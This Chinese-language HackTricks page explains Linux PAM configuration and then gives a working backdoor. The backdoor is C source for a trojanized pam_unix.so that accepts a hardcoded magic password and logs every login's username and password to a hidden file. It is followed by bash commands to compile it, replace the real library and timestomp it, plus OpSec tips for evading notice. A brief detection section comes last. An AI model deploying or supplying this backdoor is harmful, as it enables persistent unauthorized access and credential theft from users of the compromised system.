# PAM - Pluggable Authentication Modules {{#include ../../banners/hacktricks-training.md}} ### 基本信息 **PAM (可插拔认证模块)** 作为一种安全机制,**验证试图访问计算机服务的用户身份**,根据各种标准控制他们的访问。它类似于数字门卫,确保只有授权用户可以使用特定服务,同时可能限制他们的使用以防止系统过载。 #### 配置文件 - **Solaris 和基于 UNIX 的系统** 通常使用位于 `/etc/pam.conf` 的中央配置文件。 - **Linux 系统** 更倾向于目录方法,将特定服务的配置存储在 `/etc/pam.d` 中。例如,登录服务的配置文件位于 `/etc/pam.d/login`。 登录服务的 PAM 配置示例如下: ``` auth required /lib/security/pam_securetty.so auth required /lib/security/pam_nologin.so auth sufficient /lib/security/pam_ldap.so auth required /lib/security/pam_unix_auth.so try_first_pass account sufficient /lib/security/pam_ldap.so account required /lib/security/pam_unix_acct.so password required /lib/security/pam_cracklib.so password required /lib/security/pam_ldap.so password required /lib/security/pam_pwdb.so use_first_pass session required /lib/security/pam_unix_session.so ``` #### **PAM 管理领域** 这些领域或管理组包括 **auth**、**account**、**password** 和 **session**,每个领域负责身份验证和会话管理过程的不同方面: - **Auth**:验证用户身份,通常通过提示输入密码。 - **Account**:处理账户验证,检查诸如组成员资格或时间限制等条件。 - **Password**:管理密码更新,包括复杂性检查或字典攻击防护。 - **Session**:管理服务会话开始或结束时的操作,例如挂载目录或设置资源限制。 #### **PAM 模块控制** 控制决定模块对成功或失败的响应,影响整体身份验证过程。这些包括: - **Required**:所需模块的失败最终导致失败,但仅在检查所有后续模块后。 - **Requisite**:失败时立即终止过程。 - **Sufficient**:成功绕过同一领域的其余检查,除非后续模块失败。 - **Optional**:仅在它是堆栈中唯一模块时导致失败。 #### 示例场景 在具有多个身份验证模块的设置中,过程遵循严格的顺序。如果 `pam_securetty` 模块发现登录终端未授权,则阻止 root 登录,但由于其“required”状态,所有模块仍会被处理。`pam_env` 设置环境变量,可能有助于用户体验。`pam_ldap` 和 `pam_unix` 模块协同工作以验证用户,`pam_unix` 尝试使用先前提供的密码,从而提高身份验证方法的效率和灵活性。 ## 后门 PAM – 钩住 `pam_unix.so` 在高价值的 Linux 环境中,一个经典的持久性技巧是 **用木马化的替代品替换合法的 PAM 库**。因为每次 SSH / 控制台登录最终都会调用 `pam_unix.so:pam_sm_authenticate()`,所以几行 C 代码就足以捕获凭据或实现 *magic* 密码绕过。 ### 编译备忘单 ```c #define _GNU_SOURCE #include #include #include #include #include static int (*orig)(pam_handle_t *, int, int, const char **); static const char *MAGIC = "Sup3rS3cret!"; int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) { const char *user, *pass; pam_get_user(pamh, &user, NULL); pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL); /* Magic pwd → immediate success */ if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS; /* Credential harvesting */ int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600); dprintf(fd, "%s:%s\n", user, pass); close(fd); /* Fall back to original function */ if(!orig) { orig = dlsym(RTLD_NEXT, "pam_sm_authenticate"); } return orig(pamh, flags, argc, argv); } ``` 编译和隐蔽替换: ```bash gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak mv pam_unix.so /lib/security/pam_unix.so chmod 644 /lib/security/pam_unix.so # keep original perms touch -r /bin/ls /lib/security/pam_unix.so # timestomp ``` ### OpSec Tips 1. **原子覆盖** – 写入临时文件并 `mv` 到目标位置,以避免半写入的库锁定 SSH。 2. 日志文件放置如 `/usr/bin/.dbus.log` 与合法桌面工件混合。 3. 保持符号导出相同 (`pam_sm_setcred` 等),以避免 PAM 错误行为。 ### Detection * 比较 `pam_unix.so` 的 MD5/SHA256 与发行版包。 * 检查 `/lib/security/` 下的世界可写或不寻常的所有权。 * `auditd` 规则: `-w /lib/security/pam_unix.so -p wa -k pam-backdoor`。 ### References - [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434) - [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/) {{#include ../../banners/hacktricks-training.md}}